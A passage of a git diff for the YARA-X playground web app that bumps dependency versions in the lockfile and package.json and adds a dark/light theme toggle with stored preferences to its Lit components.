"^2.0.7" @@ -1393,9 +1393,9 @@ "license": "MIT" }, "node_modules/esbuild": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz", - "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==", + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", + "integrity": "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA==", "dev": true, "hasInstallScript": true, "license": "MIT", @@ -1406,32 +1406,32 @@ "node": ">=18" }, "optionalDependencies": { - "@esbuild/aix-ppc64": "0.27.7", - "@esbuild/android-arm": "0.27.7", - "@esbuild/android-arm64": "0.27.7", - "@esbuild/android-x64": "0.27.7", - "@esbuild/darwin-arm64": "0.27.7", - "@esbuild/darwin-x64": "0.27.7", - "@esbuild/freebsd-arm64": "0.27.7", - "@esbuild/freebsd-x64": "0.27.7", - "@esbuild/linux-arm": "0.27.7", - "@esbuild/linux-arm64": "0.27.7", - "@esbuild/linux-ia32": "0.27.7", - "@esbuild/linux-loong64": "0.27.7", - "@esbuild/linux-mips64el": "0.27.7", - "@esbuild/linux-ppc64": "0.27.7", - "@esbuild/linux-riscv64": "0.27.7", - "@esbuild/linux-s390x": "0.27.7", - "@esbuild/linux-x64": "0.27.7", - "@esbuild/netbsd-arm64": "0.27.7", - "@esbuild/netbsd-x64": "0.27.7", - "@esbuild/openbsd-arm64": "0.27.7", - "@esbuild/openbsd-x64": "0.27.7", - "@esbuild/openharmony-arm64": "0.27.7", - "@esbuild/sunos-x64": "0.27.7", - "@esbuild/win32-arm64": "0.27.7", - "@esbuild/win32-ia32": "0.27.7", - "@esbuild/win32-x64": "0.27.7" + "@esbuild/aix-ppc64": "0.28.2", + "@esbuild/android-arm": "0.28.2", + "@esbuild/android-arm64": "0.28.2", + "@esbuild/android-x64": "0.28.2", + "@esbuild/darwin-arm64": "0.28.2", + "@esbuild/darwin-x64": "0.28.2", + "@esbuild/freebsd-arm64": "0.28.2", + "@esbuild/freebsd-x64": "0.28.2", + "@esbuild/linux-arm": "0.28.2", + "@esbuild/linux-arm64": "0.28.2", + "@esbuild/linux-ia32": "0.28.2", + "@esbuild/linux-loong64": "0.28.2", + "@esbuild/linux-mips64el": "0.28.2", + "@esbuild/linux-ppc64": "0.28.2", + "@esbuild/linux-riscv64": "0.28.2", + "@esbuild/linux-s390x": "0.28.2", + "@esbuild/linux-x64": "0.28.2", + "@esbuild/netbsd-arm64": "0.28.2", + "@esbuild/netbsd-x64": "0.28.2", + "@esbuild/openbsd-arm64": "0.28.2", + "@esbuild/openbsd-x64": "0.28.2", + "@esbuild/openharmony-arm64": "0.28.2", + "@esbuild/sunos-x64": "0.28.2", + "@esbuild/win32-arm64": "0.28.2", + "@esbuild/win32-ia32": "0.28.2", + "@esbuild/win32-x64": "0.28.2" } }, "node_modules/escalade": { @@ -1700,9 +1700,9 @@ "license": "MIT" }, "node_modules/nanoid": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", - "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", + "version": "3.3.20", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz", + "integrity": "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ==", "dev": true, "funding": [ { @@ -1760,9 +1760,9 @@ } }, "node_modules/postcss": { - "version": "8.5.15", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", - "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", + "version": "8.5.25", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.25.tgz", + "integrity": "sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==", "dev": true, "funding": [ { @@ -1780,7 +1780,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.12", + "nanoid": "^3.3.16", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, @@ -1929,9 +1929,9 @@ } }, "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", + "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==", "dev": true, "license": "BSD-3-Clause", "engines": { @@ -2004,9 +2004,9 @@ } }, "node_modules/vite": { - "version": "7.3.6", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.6.tgz", - "integrity": "sha512-4XP60spRGjSZFf1qYH+dJIkK2znL3zQfl9KkOV9MkkRR/3Dls0dxaBsQPTloEc5BLXWPL9vsOxopxyKoMmDueg==", + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.7.tgz", + "integrity": "sha512-AHEzTORMbi7/7aXp7w7KZ5+DCUdSeLsJz0grY8xHpc9DHdYb0vQu6DqJfm2tOw3gDExNgPgnJTXxM6syYFHaCA==", "dev": true, "license": "MIT", "dependencies": { diff --git a/playground/package.json b/playground/package.json index fe525d49f..9e91ca443 100644 --- a/playground/package.json +++ b/playground/package.json @@ -15,7 +15,7 @@ }, "dependencies": { "@codingame/monaco-vscode-editor-api": "^25.1.2", - "@virustotal/yara-x": "^1.19.0", + "@virustotal/yara-x": "1.22.0", "lit": "^3.3.2", "monaco-languageclient": "^10.7.0", "vscode-languageclient": "^9.0.1", @@ -25,9 +25,9 @@ "prettier": "^3.8.1", "rollup-plugin-visualizer": "^7.0.1", "typescript": "~5.9.3", - "vite": "^7.3.6" + "vite": "^7.3.7" }, "overrides": { - "dompurify": "3.4.11" + "dompurify": "3.4.17" } } diff --git a/playground/public/yara-mark-light.svg b/playground/public/yara-mark-light.svg new file mode 100644 index 000000000..cd1d1fcf2 --- /dev/null +++ b/playground/public/yara-mark-light.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/playground/src/app/yara-playground-app.ts b/playground/src/app/yara-playground-app.ts index 5bfa5a2a1..c574419db 100644 --- a/playground/src/app/yara-playground-app.ts +++ b/playground/src/app/yara-playground-app.ts @@ -10,10 +10,14 @@ import "../components/yara-status-bar"; import { PlaygroundEditorController } from "../controllers/playground-editor-controller"; import { PlaygroundSessionController } from "../controllers/playground-session-controller"; import { SplitResizeController } from "../controllers/split-resize-controller"; -import { updateYaraConfig } from "../editor/yara-monaco"; +import { setMonacoTheme, updateYaraConfig } from "../editor/yara-monaco"; import { loadStoredPlaygroundSettings, + loadStoredPlaygroundTheme, + PLAYGROUND_THEME_STORAGE_KEY, storePlaygroundSettings, + storePlaygroundTheme, + type PlaygroundTheme, } from "../persistence/playground-settings-storage"; import type { ExecutionState, @@ -104,6 +108,9 @@ export class YaraPlaygroundApp extends LitElement { @state() private languageServerVersion: string | null = null; + @state() + private theme: PlaygroundTheme = "dark"; + @state() private settings = createDefaultPlaygroundSettings(); @@ -213,12 +220,47 @@ export class YaraPlaygroundApp extends LitElement { } }; + private readonly handleSystemThemeChange = (event: MediaQueryListEvent) => { + try { + const stored = localStorage.getItem(PLAYGROUND_THEME_STORAGE_KEY); + if (!stored) { + this.applyTheme(event.matches ? "light" : "dark"); + } + } catch {} + }; + + private applyTheme(theme: PlaygroundTheme) { + this.theme = theme; + document.documentElement.setAttribute("data-theme", theme); + document.documentElement.setAttribute("data-bs-theme", theme); + document.documentElement.style.colorScheme = theme; + setMonacoTheme(theme); + storePlaygroundTheme(theme); + } + + private handleThemeToggle = () => { + const nextTheme: PlaygroundTheme = this.theme === "dark" ? "light" : "dark"; + this.applyTheme(nextTheme); + }; + + private handleThemeChange = (event: CustomEvent) => { + this.applyTheme(event.detail); + }; + connectedCallback() { super.connectedCallback(); this.sampleMode = this.sessionController.inlineSampleMode; this.settings = loadStoredPlaygroundSettings(); updateYaraConfig(toYaraConfig(this.settings)); + this.theme = loadStoredPlaygroundTheme(); + this.applyTheme(this.theme); window.addEventListener("keydown", this.handleKeydown); + + if (typeof window !== "undefined" && window.matchMedia) { + window + .matchMedia("(prefers-color-scheme: light)") + .addEventListener("change", this.handleSystemThemeChange); + } } protected async firstUpdated() { @@ -260,6 +302,11 @@ export class YaraPlaygroundApp extends LitElement { disconnectedCallback() { window.removeEventListener("keydown", this.handleKeydown); + if (typeof window !== "undefined" && window.matchMedia) { + window + .matchMedia("(prefers-color-scheme: light)") + .removeEventListener("change", this.handleSystemThemeChange); + } if (this.sampleEditorLayoutFrameId != null) { window.cancelAnimationFrame(this.sampleEditorLayoutFrameId); } @@ -634,8 +681,10 @@ export class YaraPlaygroundApp extends LitElement { return html`

diff --git a/playground/src/components/yara-settings-dialog.ts b/playground/src/components/yara-settings-dialog.ts index bfe52f992..8a6690f11 100644 --- a/playground/src/components/yara-settings-dialog.ts +++ b/playground/src/components/yara-settings-dialog.ts @@ -1,5 +1,6 @@ import { LitElement, html, nothing } from "lit"; import { customElement, property, state } from "lit/decorators.js"; +import { classMap } from "lit/directives/class-map.js"; import { clonePlaygroundSettings, @@ -18,6 +19,9 @@ export class YaraSettingsDialog extends LitElement { @property({ type: Boolean }) open = false; + @property({ type: String }) + theme: "dark" | "light" = "dark"; + @property({ attribute: false }) settings: PlaygroundSettings = createDefaultPlaygroundSettings(); @@ -342,8 +346,79 @@ export class YaraSettingsDialog extends LitElement { `; } + private dispatchThemeChange(theme: "dark" | "light") { + this.dispatchEvent( + new CustomEvent<"dark" | "light">("theme-change", { + detail: theme, + bubbles: true, + composed: true, + }), + ); + } + private renderEditorTab() { return html` +
+
+
+

Appearance

+

Choose between dark and light color modes.

+
+
+ +
+ + + +
+
+
diff --git a/playground/src/components/yara-status-bar.ts b/playground/src/components/yara-status-bar.ts index 1ed6da3fb..070468b71 100644 --- a/playground/src/components/yara-status-bar.ts +++ b/playground/src/components/yara-status-bar.ts @@ -2,6 +2,7 @@ import { LitElement, html } from "lit"; import { customElement, property } from "lit/decorators.js"; const yaraMarkUrl = `${import.meta.env.BASE_URL}yara-mark.svg`; +const yaraMarkLightUrl = `${import.meta.env.BASE_URL}yara-mark-light.svg`; @customElement("yara-status-bar") export class YaraStatusBar extends LitElement { @@ -11,6 +12,9 @@ export class YaraStatusBar extends LitElement { @property({ type: Boolean }) canRun = false; + @property({ type: String }) + theme: "dark" | "light" = "dark"; + protected createRenderRoot() { return this; } @@ -51,12 +55,25 @@ export class YaraStatusBar extends LitElement { ); }; + private dispatchThemeToggle = () => { + this.dispatchEvent( + new CustomEvent("theme-toggle", { + bubbles: true, + composed: true, + }), + ); + }; + render() { return html`
- +
YARA-X Playground @@ -65,6 +82,57 @@ export class YaraStatusBar extends LitElement {
+ +